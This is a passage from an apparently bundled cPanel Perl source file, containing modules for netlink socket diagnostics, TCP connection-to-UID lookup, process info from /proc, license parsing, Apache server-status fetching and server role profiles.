\%RESPONSE; } my @NETLINK_SEND_HEADER = ( 'nlmsg_length' => undef, #gets put in place 'nlmsg_type' => $TCPDIAG_GETSOCK, 'nlmsg_flags' => 0, #gets |=’d with $NLM_F_REQUEST 'nlmsg_pid' => undef, #gets put in place 'nlmsg_seq' => 2, #default ); sub _pack_nlmsg_with_header { my ( $send_pack_obj, $message_ref, $header_parms_ar ) = @_; my $nlmsg = $send_pack_obj->pack_from_hashref($message_ref); if ( !$NLMSG_HEADER_PACK_OBJ ) { $NLMSG_HEADER_PACK_OBJ = Cpanel::Pack->new( \@NLMSG_HEADER_TEMPLATE ); $NLMSG_HEADER_PACK_OBJ_SIZE = $NLMSG_HEADER_PACK_OBJ->sizeof(); } my %header_data = ( @NETLINK_SEND_HEADER, ( $header_parms_ar ? @$header_parms_ar : () ), nlmsg_length => $NLMSG_HEADER_PACK_OBJ_SIZE + length $nlmsg, nlmsg_pid => $$, ); $header_data{'nlmsg_flags'} |= $NLM_F_REQUEST; my $hdr_str = $NLMSG_HEADER_PACK_OBJ->pack_from_hashref( \%header_data ); return $hdr_str . $nlmsg; } sub _nlmsg_type_indicates_finished_reading { return _nlmsg_type_flags_indicates_finished_reading( $_[0]->{'nlmsg_type'}, $_[0]->{'nlmsg_flags'} ); } sub _nlmsg_type_flags_indicates_finished_reading { return 0 if !length $_[0]; return ( $_[0] == $NLMSG_ERROR || ( $_[1] & $NLM_F_MULTI && $_[0] == $NLMSG_DONE ) || !( $_[1] & $NLM_F_MULTI ) ) ? 1 : 0; } sub expect_acknowledgment { my ( $my_sysread, $socket, $sequence ) = @_; my $NETLINK_HEADER = Cpanel::Pack->new( \@NLMSG_HEADER_TEMPLATE ); my $response_buffer = ''; my $header_hr; my $error_code; do { while ( length $response_buffer < $NETLINK_HEADER->sizeof() ) { $my_sysread->( $socket, \$response_buffer, READ_SIZE(), length $response_buffer ) or return "sysread, message header: $!"; } $header_hr = $NETLINK_HEADER->unpack_to_hashref( substr( $response_buffer, 0, $NETLINK_HEADER->sizeof() ) ); while ( length $response_buffer < $header_hr->{nlmsg_length} ) { $my_sysread->( $socket, \$response_buffer, READ_SIZE(), length $response_buffer ) or return "sysread, message body: $!"; } my $message = substr( $response_buffer, 0, $header_hr->{nlmsg_length}, '' ); $error_code = 0; if ( $header_hr->{nlmsg_type} == $NLMSG_ERROR ) { $error_code = unpack( Cpanel::Pack::Template::PACK_TEMPLATE_U32, substr( $message, $NETLINK_HEADER->sizeof(), Cpanel::Pack::Template::U32_BYTES_LENGTH ) ); } if ( $header_hr->{nlmsg_seq} eq $sequence ) { if ( $header_hr->{nlmsg_type} == $NLMSG_ERROR && $error_code != 0 ) { local $! = -$error_code; return "Received error code when expecting acknowledgement: $!\n"; } if ( $header_hr->{nlmsg_type} == $NLMSG_OVERRUN ) { return "Data lost due to message overrun"; } if ( $header_hr->{nlmsg_type} == $NLMSG_DONE ) { return "Received multipart data when expecting ACK"; } } } while ( $header_hr->{nlmsg_seq} ne $sequence || $header_hr->{nlmsg_type} != $NLMSG_ERROR || $error_code != 0 ); return undef; } 1; } # --- END Cpanel/Linux/Netlink.pm { # --- BEGIN Cpanel/Linux/Proc/Net/Tcp.pm package Cpanel::Linux::Proc::Net::Tcp; use strict; our $PROC_NET_TCP = '/proc/net/tcp'; our $PROC_NET_TCP6 = '/proc/net/tcp6'; sub connection_lookup { my ( $remote_address, $remote_port, $local_address, $local_port ) = @_; my ( $tcp_file, $remote_ltl_endian_hex_address, $remote_hex_port, $local_ltl_endian_hex_address, $local_hex_port ); $remote_hex_port = _dec_port_to_hex_port($remote_port); $local_hex_port = _dec_port_to_hex_port($local_port); if ( $remote_address =~ tr/:// ) { #ipv6 $tcp_file = $PROC_NET_TCP6; $remote_ltl_endian_hex_address = _ipv6_text_to_little_endian_hex_address($remote_address); $local_ltl_endian_hex_address = _ipv6_text_to_little_endian_hex_address($local_address); } else { $tcp_file = $PROC_NET_TCP; $remote_ltl_endian_hex_address = _ipv4_txt_to_little_endian_hex_address($remote_address); $local_ltl_endian_hex_address = _ipv4_txt_to_little_endian_hex_address($local_address); } if ( open( my $tcp_fh, '<', $tcp_file ) ) { my $uid; while ( readline($tcp_fh) ) { if ( m/^\s*\d+:\s+([\dA-F]{8}(?:[\dA-F]{24})?):([\dA-F]{4})\s+([\dA-F]{8}(?:[\dA-F]{24})?):([\dA-F]{4})\s+(\S+)\s+\S+\s+\S+\s+\S+\s+(\d+)/ && $remote_ltl_endian_hex_address eq $1 && $remote_hex_port eq $2 && $local_ltl_endian_hex_address eq $3 && $local_hex_port eq $4 ) { $uid = $6; last; } } return $uid; } return; } sub _dec_port_to_hex_port { my ($dec_port) = @_; return sprintf( '%04X', $dec_port ); } sub _ipv4_txt_to_little_endian_hex_address { my ($ipv4_txt) = @_; return sprintf( "%08X", unpack( 'V', pack( 'C4', split( /\D/, $ipv4_txt, 4 ) ) ) ); } sub _ipv6_text_to_little_endian_hex_address { my ($ipv6_txt) = @_; require Cpanel::IP::Expand; # hide from exim but not perlcc - not eval quoted my $hexip = ''; my @ip = split /:/, Cpanel::IP::Expand::expand_ip( $ipv6_txt, 6 ); while (@ip) { my $block1 = shift @ip; my $block2 = shift @ip; $hexip .= uc substr( $block2, 2, 2 ) . uc substr( $block2, 0, 2 ) . uc substr( $block1, 2, 2 ) . uc substr( $block1, 0, 2 ); } return $hexip; } 1; } # --- END Cpanel/Linux/Proc/Net/Tcp.pm { # --- BEGIN Cpanel/Ident.pm package Cpanel::Ident; use strict; our $TESTING_FLAGS = 0; # FOR TESTING our $USE_NETLINK = 1; # FOR TESTING our $USE_PROC = 2; # FOR TESTING use constant NOTFOUND => 0xff_ff_ff_ff; sub identify_local_connection { my ( $source_address, $source_port, $dest_address, $dest_port ) = @_; if ( !defined($source_port) || !defined($dest_port) ) { die 'Need source and destination ports!'; } my $netlink_failed; if ( !$TESTING_FLAGS || $TESTING_FLAGS == $USE_NETLINK ) { require Cpanel::Linux::Netlink; # hide from exim but not perlcc - not eval quoted my $response; local $@; eval { $response = Cpanel::Linux::Netlink::connection_lookup( $source_address, $source_port, $dest_address, $dest_port, ); }; if ($@) { $netlink_failed = 1; warn; } elsif ($response && defined $response->{'idiag_state'} && ( $response->{'idiag_state'} != 1 && $response->{'idiag_state'} != 8 && $response->{'idiag_state'} != 10 ) ) { return -1; } elsif ($response && ref $response && $response->{'idiag_dport'} && defined( $response->{'idiag_uid'} ) && $response->{'idiag_uid'} != NOTFOUND() ) { return $response->{'idiag_uid'}; } } if ( $netlink_failed || $TESTING_FLAGS == $USE_PROC ) { require Cpanel::Linux::Proc::Net::Tcp; # hide from exim but not perlcc - not eval quoted my $uid = Cpanel::Linux::Proc::Net::Tcp::connection_lookup( $source_address, $source_port, $dest_address, $dest_port ); return $uid if defined $uid; } return; } 1; } # --- END Cpanel/Ident.pm { # --- BEGIN Cpanel/Autodie.pm package Cpanel::Autodie; use strict; use warnings; sub _ENOENT { return 2; } sub _EEXIST { return 17; } sub _EINTR { return 4; } sub import { shift; _load_function($_) for @_; return; } our $AUTOLOAD; sub AUTOLOAD { substr( $AUTOLOAD, 0, 1 + rindex( $AUTOLOAD, ':' ) ) = q<>; _load_function($AUTOLOAD); goto &{ Cpanel::Autodie->can($AUTOLOAD) }; } sub _load_function { _require("Cpanel/Autodie/CORE/$_[0].pm"); return; } sub _require { local ( $!, $^E, $@ ); require $_[0]; return; } 1; } # --- END Cpanel/Autodie.pm { # --- BEGIN Cpanel/Autodie/CORE/exists.pm package Cpanel::Autodie; use strict; use warnings; sub exists { ## no critic qw( RequireArgUnpacking ) local ( $!, $^E ); if ( ${^GLOBAL_PHASE} eq 'START' ) { _die_err( $_[0], "do not access the filesystem at compile time" ); } return 1 if -e $_[0]; return 0 if $! == _ENOENT(); return _die_err( $_[0], $! ); } sub exists_nofollow { my ($path) = @_; local ( $!, $^E ); return 1 if CORE::lstat $path; return 0 if $! == _ENOENT(); return _die_err( $path, $! ); } sub _die_err { my ( $path, $err ) = @_; local $@; # $! is already local()ed. require Cpanel::Exception; die Cpanel::Exception::create( 'IO::StatError', [ error => $err, path => $path ] ); } 1; } # --- END Cpanel/Autodie/CORE/exists.pm { # --- BEGIN Cpanel/Autodie/CORE/exists_nofollow.pm package Cpanel::Autodie; use strict; use warnings; # use Cpanel::Autodie::CORE::exists(); # PPI NO PARSE 1; } # --- END Cpanel/Autodie/CORE/exists_nofollow.pm { # --- BEGIN Cpanel/Autodie/More/Lite.pm package Cpanel::Autodie::More::Lite; use strict; use warnings; # use Cpanel::Autodie (); # use Cpanel::Autodie::CORE::exists (); # PPI USE OK - reload so we can map the symbol below # use Cpanel::Autodie::CORE::exists_nofollow (); # PPI USE OK - reload so we can map the symbol below BEGIN { *exists = *Cpanel::Autodie::exists; *exists_nofollow = *Cpanel::Autodie::exists_nofollow; } 1; } # --- END Cpanel/Autodie/More/Lite.pm { # --- BEGIN Cpanel/Services/Enabled/Spamd.pm package Cpanel::Services::Enabled::Spamd; use strict; use warnings; # use Cpanel::Autodie::More::Lite (); our $_TOUCHFILE_PATH = '/etc/spamddisable'; sub is_enabled { return !Cpanel::Autodie::More::Lite::exists($_TOUCHFILE_PATH); } 1; } # --- END Cpanel/Services/Enabled/Spamd.pm { # --- BEGIN Cpanel/FileUtils/Dir.pm package Cpanel::FileUtils::Dir; use strict; use warnings; # use Cpanel::Exception (); use constant _ENOENT => 2; sub directory_has_nodes { return directory_has_nodes_if_exists( $_[0] ) // do { local $! = _ENOENT(); die _opendir_err( $_[0] ); }; } sub directory_has_nodes_if_exists { my ($dir) = @_; local $!; opendir my $dh, $dir or do { if ( $! == _ENOENT() ) { return undef; } die _opendir_err($dir); }; local $!; my $has_nodes = 0; while ( my $node = readdir $dh ) { next if $node eq '.' || $node eq '..'; $has_nodes = 1; last; } _check_for_readdir_error($dir) if !$has_nodes; _closedir( $dh, $dir ); return $has_nodes; } sub get_directory_nodes_if_exists { my ($dir) = @_; local $!; if ( opendir my $dh, $dir ) { return _read_directory_nodes( $dh, $dir ); } elsif ( $! != _ENOENT() ) { die _opendir_err($dir); } return undef; } sub get_directory_nodes { return _read_directory_nodes( _opendir( $_[0] ), $_[0] ); } sub _read_directory_nodes { ## no critic qw(Subroutines::RequireArgUnpacking) -- used in loops local $!; my @nodes = grep { $_ ne '.' && $_ ne '..' } readdir( $_[0] ); _check_for_readdir_error( $_[0] ); _closedir( $_[0], $_[1] ); return \@nodes; } sub _check_for_readdir_error { if ( $! && ( $^V >= v5.20.0 ) ) { die Cpanel::Exception::create( 'IO::DirectoryReadError', [ path => $_[0], error => $! ] ); } return; } sub _opendir { local $!; opendir my $dh, $_[0] or do { die _opendir_err( $_[0] ); }; return $dh; } sub _closedir { local $!; closedir $_[0] or do { die Cpanel::Exception::create( 'IO::DirectoryCloseError', [ path => $_[1], error => $! ] ); }; return; } sub _opendir_err { return Cpanel::Exception::create( 'IO::DirectoryOpenError', [ path => $_[0], error => $! ] ); } 1; } # --- END Cpanel/FileUtils/Dir.pm { # --- BEGIN Cpanel/DKIM/ValidityCache.pm package Cpanel::DKIM::ValidityCache; use strict; use warnings; # use Cpanel::Autodie (); our $BASE_DIRECTORY = '/var/cpanel/domain_keys/validity_cache'; sub _BASE { return $BASE_DIRECTORY; } sub get { my ( undef, $entry ) = @_; return Cpanel::Autodie::exists("$BASE_DIRECTORY/$entry"); } sub get_all { require Cpanel::FileUtils::Dir; return Cpanel::FileUtils::Dir::get_directory_nodes_if_exists($BASE_DIRECTORY); } 1; } # --- END Cpanel/DKIM/ValidityCache.pm { # --- BEGIN Cpanel/Context.pm package Cpanel::Context; use strict; use warnings; # use Cpanel::Exception (); sub must_be_list { return 1 if ( caller(1) )[5]; # 5 = wantarray my $msg = ( caller(1) )[3]; # 3 = subroutine $msg .= $_[0] if defined $_[0]; return _die_context( 'list', $msg ); } sub must_not_be_scalar { my ($message) = @_; my $wa = ( caller(1) )[5]; # 5 = wantarray if ( !$wa && defined $wa ) { _die_context( 'list or void', $message ); } return 1; } sub must_not_be_void { return if defined( ( caller 1 )[5] ); return _die_context('scalar or list'); } sub _die_context { my ( $context, $message ) = @_; local $Carp::CarpInternal{__PACKAGE__} if $INC{'Carp.pm'}; my $to_throw = length $message ? "Must be $context context ($message)!" : "Must be $context context!"; die Cpanel::Exception::create_raw( 'ContextError', $to_throw ); } 1; } # --- END Cpanel/Context.pm { # --- BEGIN Cpanel/ProcessInfo.pm package Cpanel::ProcessInfo; use strict; use warnings; # use Cpanel::Context (); # use Cpanel::Autodie (); our $VERSION = '1.0'; sub get_pid_lineage { Cpanel::Context::must_be_list(); my @lineage; my $ppid = getppid(); while ( $ppid > 1 ) { push @lineage, $ppid; $ppid = get_parent_pid($ppid); } return @lineage; } sub get_parent_pid { _die_if_pid_invalid( $_[0] ); return getppid() if $_[0] == $$; if ( open( my $proc_status_fh, '<', "/proc/$_[0]/status" ) ) { local $/; my %status = map { lc $_->[0] => $_->[1] } map { [ ( split( /\s*:\s*/, $_ ) )[ 0, 1 ] ] } grep { index( $_, ':' ) > -1 } split( /\n/, readline($proc_status_fh) ); return $status{'ppid'}; } return undef; } sub get_pid_exe { _die_if_pid_invalid( $_[0] ); return Cpanel::Autodie::readlink_if_exists( '/proc/' . $_[0] . '/exe' ); } sub get_pid_cmdline { _die_if_pid_invalid( $_[0] ); if ( open( my $cmdline, '<', "/proc/$_[0]/cmdline" ) ) { local $/; my $cmdline = readline($cmdline); $cmdline =~ tr{\0}{ }; $cmdline =~ tr{\r\n}{}d; substr( $cmdline, -1, 1, '' ) if substr( $cmdline, -1 ) eq ' '; return $cmdline; } return ''; } sub get_pid_cwd { _die_if_pid_invalid( $_[0] ); return readlink( '/proc/' . $_[0] . '/cwd' ) || '/'; } sub _die_if_pid_invalid { die "Invalid PID: $_[0]" if !length $_[0] || $_[0] =~ tr{0-9}{}c; return; } 1; } # --- END Cpanel/ProcessInfo.pm { # --- BEGIN Cpanel/Fcntl/Constants.pm package Cpanel::Fcntl::Constants; use strict; use warnings; BEGIN { our $O_RDONLY = 0; our $O_WRONLY = 1; our $O_RDWR = 2; our $O_ACCMODE = 3; our $F_GETFD = 1; our $F_SETFD = 2; our $F_GETFL = 3; our $F_SETFL = 4; our $SEEK_SET = 0; our $SEEK_CUR = 1; our $SEEK_END = 2; our $S_IWOTH = 2; our $S_ISUID = 2048; our $S_ISGID = 1024; our $O_CREAT = 64; our $O_EXCL = 128; our $O_TRUNC = 512; our $O_APPEND = 1024; our $O_NONBLOCK = 2048; our $O_DIRECTORY = 65536; our $O_NOFOLLOW = 131072; our $O_CLOEXEC = 524288; our $S_IFREG = 32768; our $S_IFDIR = 16384; our $S_IFCHR = 8192; our $S_IFBLK = 24576; our $S_IFIFO = 4096; our $S_IFLNK = 40960; our $S_IFSOCK = 49152; our $S_IFMT = 61440; our $LOCK_SH = 1; our $LOCK_EX = 2; our $LOCK_NB = 4; our $LOCK_UN = 8; our $FD_CLOEXEC = 1; } 1; } # --- END Cpanel/Fcntl/Constants.pm { # --- BEGIN Cpanel/Socket/Constants.pm package Cpanel::Socket::Constants; use strict; use warnings; our $SO_REUSEADDR = 2; our $AF_UNIX = 1; our $AF_INET = 2; our $PF_INET = 2; our $AF_INET6 = 10; our $PF_INET6 = 10; our $PROTO_IP = 0; our $PROTO_ICMP = 1; our $PROTO_TCP = 6; our $PROTO_UDP = 17; our $IPPROTO_TCP; *IPPROTO_TCP = \$PROTO_TCP; our $SO_PEERCRED = 17; our $SOL_SOCKET = 1; our $SOCK_STREAM = 1; our $SOCK_NONBLOCK = 2048; our $SHUT_RD = 0; our $SHUT_WR = 1; our $SHUT_RDWR = 2; our $MSG_PEEK = 2; our $MSG_NOSIGNAL = 16384; 1; } # --- END Cpanel/Socket/Constants.pm { # --- BEGIN Cpanel/Hulk/Constants.pm package Cpanel::Hulk::Constants; use strict; # use Cpanel::Fcntl::Constants (); # use Cpanel::Socket::Constants (); *F_GETFL = \$Cpanel::Fcntl::Constants::F_GETFL; *F_SETFL = \$Cpanel::Fcntl::Constants::F_SETFL; *O_NONBLOCK = \$Cpanel::Fcntl::Constants::O_NONBLOCK; our $EINTR = 4; our $EPIPE = 32; our $EINPROGRESS = 115; our $ETIMEDOUT = 110; our $EISCONN = 106; our $ECONNRESET = 104; our $EAGAIN = 11; *PROTO_IP = \$Cpanel::Socket::Constants::PROTO_IP; *PROTO_ICMP = \$Cpanel::Socket::Constants::PROTO_ICMP; *PROTO_TCP = \$Cpanel::Socket::Constants::PROTO_TCP; *SO_PEERCRED = \$Cpanel::Socket::Constants::SO_PEERCRED; *SOL_SOCKET = \$Cpanel::Socket::Constants::SOL_SOCKET; *SOCK_STREAM = \$Cpanel::Socket::Constants::SOCK_STREAM; *AF_INET6 = \$Cpanel::Socket::Constants::AF_INET6; *AF_INET = \$Cpanel::Socket::Constants::AF_INET; *AF_UNIX = \$Cpanel::Socket::Constants::AF_UNIX; our $TOKEN_SALT_BASE = '$6$'; our $SALT_LENGTH = 16; our $TIME_BASE = 1410000000; our $SIX_HOURS_IN_SECONDS = 21600; 1; } # --- END Cpanel/Hulk/Constants.pm { # --- BEGIN Cpanel/ApacheServerStatus.pm package Cpanel::ApacheServerStatus; # use Cpanel::Hulk::Constants (); sub new { my ($class) = @_; my $obj = {}; bless $obj, $class; my $html = $obj->fetch_server_status_html(); $html =~ m/<table[^\>]*>(.*?)<\/table[^\>]*>/is; my $inner_table = $1; $inner_table =~ s/[\r\n\0]//g; my $line_count = 0; my ( @index, @data, %server_status ); while ( $inner_table =~ m/<tr[^\>]*>(.*?)<\/tr[^\>]*>/isg ) { my $contents = $1; @data = map { s/^\s+//; s/\s+$//; lc $_; } ( $contents =~ m/(?:<[^\>]+>)+([^\<]+)/isg ); if ( $line_count == 0 ) { @index = @data; } else { my $count = 0; my %named_data = map { $index[ $count++ ] => $_; } @data; $server_status{ $named_data{'pid'} } = \%named_data; } $line_count++; } $obj->{'server_status'} = \%server_status; return $obj; } sub get_status_by_pid { my ( $self, $pid ) = @_; return $self->{'server_status'}->{$pid}; } sub get_apache_port { if ( open( my $ap_port_fh, '<', '/var/cpanel/config/apache/port' ) ) { my $port_txt = readline($ap_port_fh); chomp($port_txt); if ( $port_txt =~ m/:/ ) { return ( split( m/:/, $port_txt ) )[1]; } elsif ( $port_txt =~ /^[0-9]+$/ ) { return $port_txt; } } } sub fetch_server_status_html { my ($self) = @_; my $port = 80; my $html; eval { my $socket_scc; if ( !socket( $socket_scc, $Cpanel::Hulk::Constants::AF_INET, $Cpanel::Hulk::Constants::SOCK_STREAM, $Cpanel::Hulk::Constants::PROTO_TCP ) || !$socket_scc ) { die "Could not setup tcp socket for connection to $port: $!"; } if ( !connect( $socket_scc, pack( 'S n a4 x8', $Cpanel::Hulk::Constants::AF_INET, $port, ( pack 'C4', ( split /\./, "127.0.0.1" ) ) ) ) ) { my $non_default_port = $self->get_apache_port(); if ( $non_default_port && $non_default_port != $port ) { if ( !connect( $socket_scc, pack( 'S n a4 x8', $Cpanel::Hulk::Constants::AF_INET, $non_default_port, ( pack 'C4', ( split /\./, "127.0.0.1" ) ) ) ) ) { die "Unable to connect to port $non_default_port on 127.0.0.1: $!"; } } } syswrite( $socket_scc, "GET /whm-server-status HTTP/1.0\r\nHost: localhost\r\nConnection: close\r\n\r\n" ); local $/; $html = readline($socket_scc); close($socket_scc); }; $html; } 1; } # --- END Cpanel/ApacheServerStatus.pm { # --- BEGIN Cpanel/Server/Type.pm package Cpanel::Server::Type; use cPstrict; use constant NUMBER_OF_USERS_TO_ASSUME_IF_UNREADABLE => 1; sub _get_license_file_path { return q{/usr/local/cpanel/cpanel.lisc} } sub _get_dnsonly_file_path { return q{/var/cpanel/dnsonly} } use constant _ENOENT => 2; use constant SERVER_TYPE => q[cpanel]; my @server_config; our %PRODUCTS; our $MAXUSERS; our %FIELDS; our ( $DNSONLY_MODE, $NODE_MODE ); sub is_dnsonly { return $DNSONLY_MODE if defined $DNSONLY_MODE; return 1 if -e _get_dnsonly_file_path(); return 0 if $! == _ENOENT(); my $err = $!; if ( _read_license() ) { return $PRODUCTS{'dnsonly'} ? 1 : 0; } die sprintf( 'stat(%s): %s', _get_dnsonly_file_path(), "$err" ); } sub is_wp_squared { return SERVER_TYPE eq 'wp2'; } sub get_producttype { return $NODE_MODE if defined $NODE_MODE; return 'DNSONLY' unless _read_license(); return 'STANDARD' if $PRODUCTS{'cpanel'}; foreach my $product (qw/dnsnode mailnode databasenode dnsonly/) { return uc($product) if $PRODUCTS{$product}; } return 'DNSONLY'; } sub get_max_users { return $MAXUSERS if defined $MAXUSERS; return NUMBER_OF_USERS_TO_ASSUME_IF_UNREADABLE unless _read_license(); return $MAXUSERS // NUMBER_OF_USERS_TO_ASSUME_IF_UNREADABLE; } sub get_license_expire_gmt_date { return $FIELDS{'license_expire_gmt_date'} if defined $FIELDS{'license_expire_gmt_date'}; return 0 unless _read_license(); return $FIELDS{'license_expire_gmt_date'} // 0; } sub is_licensed_for_product ($product) { return unless $product; $product = lc $product; return unless _read_license(); return exists $PRODUCTS{$product}; } sub get_features { return unless _read_license(); my @features = split( ",", $FIELDS{'features'} // '' ); return @features; } sub has_feature ( $feature = undef ) { length $feature or return; return ( grep { $_ eq $feature } get_features() ) ? 1 : 0; } sub get_products { return unless _read_license(); return keys %PRODUCTS; } sub _read_license { my $LICENSE_FILE = _get_license_file_path(); my @new_stat = stat($LICENSE_FILE) if @server_config; if ( @server_config && @new_stat && $new_stat[9] == $server_config[9] && $new_stat[7] == $server_config[7] ) { return 1; } open( my $fh, '<', $LICENSE_FILE ) or do { if ( $! != _ENOENT() ) { warn "open($LICENSE_FILE): $!"; } return; }; _reset_cache(); my $content; read( $fh, $content, 1024 ) // do { warn "read($LICENSE_FILE): $!"; $content = q<>; }; return _parse_license_contents_sr( $fh, \$content ); } sub _parse_license_contents_to_hashref ($content_sr) { my %vals = map { ( split( m{: }, $_ ) )[ 0, 1 ] } split( m{\n}, $$content_sr ); return \%vals; } sub _parse_license_contents_sr ( $fh, $content_sr ) { my $vals_hr = _parse_license_contents_to_hashref($content_sr); if ( length $vals_hr->{'products'} ) { %PRODUCTS = map { ( $_ => 1 ) } split( ",", $vals_hr->{'products'} ); } else { return; } if ( length $vals_hr->{'maxusers'} ) { $MAXUSERS //= int $vals_hr->{'maxusers'}; } else { return; } foreach my $field (qw/license_expire_time license_expire_gmt_date support_expire_time updates_expire_time/) { $FIELDS{$field} = $vals_hr->{$field} // 0; } foreach my $field (qw/client features/) { $FIELDS{$field} = $vals_hr->{$field} // ''; } if ( length $vals_hr->{'fields'} ) { foreach my $field ( split( ",", $vals_hr->{'fields'} ) ) { my ( $k, $v ) = split( '=', $field, 2 ); $FIELDS{$k} = $v; } } else { return; } @server_config = stat($fh); return 1; } sub _reset_cache { undef %PRODUCTS; undef %FIELDS; undef @server_config; undef $MAXUSERS; undef $DNSONLY_MODE; return; } 1; } # --- END Cpanel/Server/Type.pm { # --- BEGIN Cpanel/Server/Type/Profile/Constants.pm package Cpanel::Server::Type::Profile::Constants; use strict; use warnings; use constant { DNSNODE => "DNSNODE", DATABASENODE => "DATABASENODE", DNSONLY => "DNSONLY", MAILNODE => "MAILNODE", STANDARD => "STANDARD" }; our %PROFILE_CHILD_WORKLOADS = ( MAILNODE() => ['Mail'], ); 1; } # --- END Cpanel/Server/Type/Profile/Constants.pm { # --- BEGIN Cpanel/LoadModule.pm package Cpanel::LoadModule; use strict; # use Cpanel::Exception (); # use Cpanel::LoadModule::Utils (); my $logger; my $has_perl_dir = 0; sub _logger_warn { my ( $msg, $fail_ok ) = @_; return if $fail_ok && $ENV{'CPANEL_BASE_INSTALL'} && index( $^X, '/usr/local/cpanel' ) == -1; if ( $INC{'Cpanel/Logger.pm'} ) { $logger ||= 'Cpanel::Logger'->new(); $logger->warn($msg); } return warn $msg; } sub _reset_has_perl_dir { $has_perl_dir = 0; return; } sub load_perl_module { ## no critic qw(Subroutines::RequireArgUnpacking) if ( -1 != index( $_[0], q<'> ) ) { die Cpanel::Exception::create_raw( 'InvalidParameter', "Module names with single-quotes are prohibited. ($_[0])" ); } return $_[0] if Cpanel::LoadModule::Utils::module_is_loaded( $_[0] ); my ( $mod, @LIST ) = @_; local ( $!, $@ ); if ( !is_valid_module_name($mod) ) { die Cpanel::Exception::create( 'InvalidParameter', '“[_1]” is not a valid name for a Perl module.', [$mod] ); } my $args_str; if (@LIST) { $args_str = join ',', map { die "Only scalar arguments allowed in LIST! (@LIST)" if ref; _single_quote($_); } @LIST; } else { $args_str = q<>; } eval "use $mod ($args_str);"; ## no critic qw(BuiltinFunctions::ProhibitStringyEval) if ($@) { die Cpanel::Exception::create( 'ModuleLoadError', [ module => $mod, error => $@ ] ); } return $mod; } *module_is_loaded = *Cpanel::LoadModule::Utils::module_is_loaded; *is_valid_module_name = *Cpanel::LoadModule::Utils::is_valid_module_name; sub loadmodule { return 1 if cpanel_namespace_module_is_loaded( $_[0] ); return _modloader( $_[0] ); } sub lazy_load_module { my $mod = shift; my $mod_path = $mod; $mod_path =~ s{::}{/}g; if ( exists $INC{ $mod_path . '.pm' } ) { return; } if ( !is_valid_module_name($mod) ) { _logger_warn("Cpanel::LoadModule: Invalid module name ($mod)"); return; } eval "use $mod ();"; if ($@) { delete $INC{ $mod_path . '.pm' }; _logger_warn( "Cpanel::LoadModule:: Failed to load module $mod - $@", 1 ); return; } return 1; } sub cpanel_namespace_module_is_loaded { my ($modpart) = @_; $modpart =~ s{::}{/}g; return exists $INC{"Cpanel/$modpart.pm"} ? 1 : 0; } sub _modloader { my $module = shift; if ( !$module ) { _logger_warn("Empty module name passed to modloader"); return; } if ( !is_valid_module_name($module) ) { _logger_warn("Invalid module name ($module) passed to modloader"); return; } eval qq[ use Cpanel::${module}; Cpanel::${module}::${module}_init() if "Cpanel::${module}"->can("${module}_init"); ]; # PPI USE OK - This looks like usage of the Cpanel module and it's not. if ($@) { _logger_warn("Error loading module $module - $@"); return; } return 1; } sub _single_quote { local ($_) = $_[0]; s/([\\'])/\\$1/g; return qq('$_'); } 1; } # --- END Cpanel/LoadModule.pm { # --- BEGIN Cpanel/Validate/AnyAllMatcher.pm package Cpanel::Validate::AnyAllMatcher; use cPstrict; sub match { my ( $args, $callback ) = @_; if ( !defined $args ) { require Cpanel::Exception; die Cpanel::Exception::create( 'MissingParameter', 'No parameter value specified.' ); } if ( !defined $callback ) { require Cpanel::Exception; die Cpanel::Exception::create( 'MissingParameter', 'No callback specified.' ); } if ( !ref $args ) { return $callback->($args) ? 1 : 0; } elsif ( ref $args eq 'HASH' ) { my $match = $args->{match} || 'all'; my $items = $args->{items}; if ( $match ne 'any' && $match ne 'all' && $match ne 'none' ) { require Cpanel::Exception; die Cpanel::Exception::create( 'InvalidParameter', 'The “[_1]” parameter must be “[_2]”, “[_3]” or “[_4]” value.', [qw(match any all none)] ); } if ( !$items || ref $items ne 'ARRAY' ) { require Cpanel::Exception; die Cpanel::Exception::create( 'InvalidParameter', 'The “[_1]” parameter must be an array reference.', ["items"] ); } foreach my $item (@$items) { my $bool = $callback->($item); return 1 if $bool && $match eq 'any'; return 0 if $bool && $match eq 'none'; return 0 if !$bool && $match eq 'all'; } return $match eq 'any' ? 0 : 1; } require Cpanel::Exception; die Cpanel::Exception::create( 'InvalidParameter', 'The input parameter must be a string or a hash reference.' ); } 1; } # --- END Cpanel/Validate/AnyAllMatcher.pm { # --- BEGIN Cpanel/Server/Type/Profile.pm package Cpanel::Server::Type::Profile; use cPstrict; # use Cpanel::Server::Type (); # PPI USE OK # use Cpanel::Server::Type::Profile::Constants (); # PPI USE OK our %ENABLED_IN_ALL_PROFILES = ( 'Cpanel::Server::Type::Role::JetBackup' => 1, 'Cpanel::Server::Type::Role::LiteSpeed' => 1, 'Cpanel::Server::Type::Role::MailSend' => 1, 'Cpanel::Server::Type::Role::MailLocal' => 1, 'Cpanel::Server::Type::Role::RegularCpanel' => 1, 'Cpanel::Server::Type::Role::Reseller' => 1, ); use constant all_roles => sort map { 'Cpanel::Server::Type::Role::' . $_ } qw/ CalendarContact DNS FTP FileStorage LiteSpeed JetBackup MailLocal MailReceive MailRelay MailSend MySQL Postgres RegularCpanel Reseller SpamFilter Webmail WebDisk WebServer /; our %_META = ( STANDARD => { experimental => 0, enabled_roles => [all_roles] }, MAILNODE => { experimental => 0, enabled_roles => [ qw( Cpanel::Server::Type::Role::CalendarContact Cpanel::Server::Type::Role::MailReceive Cpanel::Server::Type::Role::MailRelay Cpanel::Server::Type::Role::Webmail ), keys %ENABLED_IN_ALL_PROFILES ], optional_roles => [ qw( Cpanel::Server::Type::Role::MySQL Cpanel::Server::Type::Role::Postgres Cpanel::Server::Type::Role::DNS Cpanel::Server::Type::Role::SpamFilter ) ] }, DNSNODE => { experimental => 0, enabled_roles => [ qw( Cpanel::Server::Type::Role::DNS ), keys %ENABLED_IN_ALL_PROFILES ], optional_roles => [ qw( Cpanel::Server::Type::Role::MySQL Cpanel::Server::Type::Role::MailRelay ) ], }, DATABASENODE => { experimental => 1, enabled_roles => [ qw( Cpanel::Server::Type::Role::MySQL ), keys %ENABLED_IN_ALL_PROFILES ], optional_roles => [ qw( Cpanel::Server::Type::Role::Postgres ) ] } ); our ( $DNSNODE_MODE, $MAILNODE_MODE, $DATABASENODE_MODE ); my $_CURRENT_PROFILE; sub get_current_profile { return $_CURRENT_PROFILE if defined $_CURRENT_PROFILE; my $product_type = Cpanel::Server::Type::get_producttype(); if ( $product_type && $product_type ne Cpanel::Server::Type::Profile::Constants::STANDARD() ) { return $_CURRENT_PROFILE = $product_type; } my $roles = {}; require Cpanel::LoadModule; PROFILE: foreach my 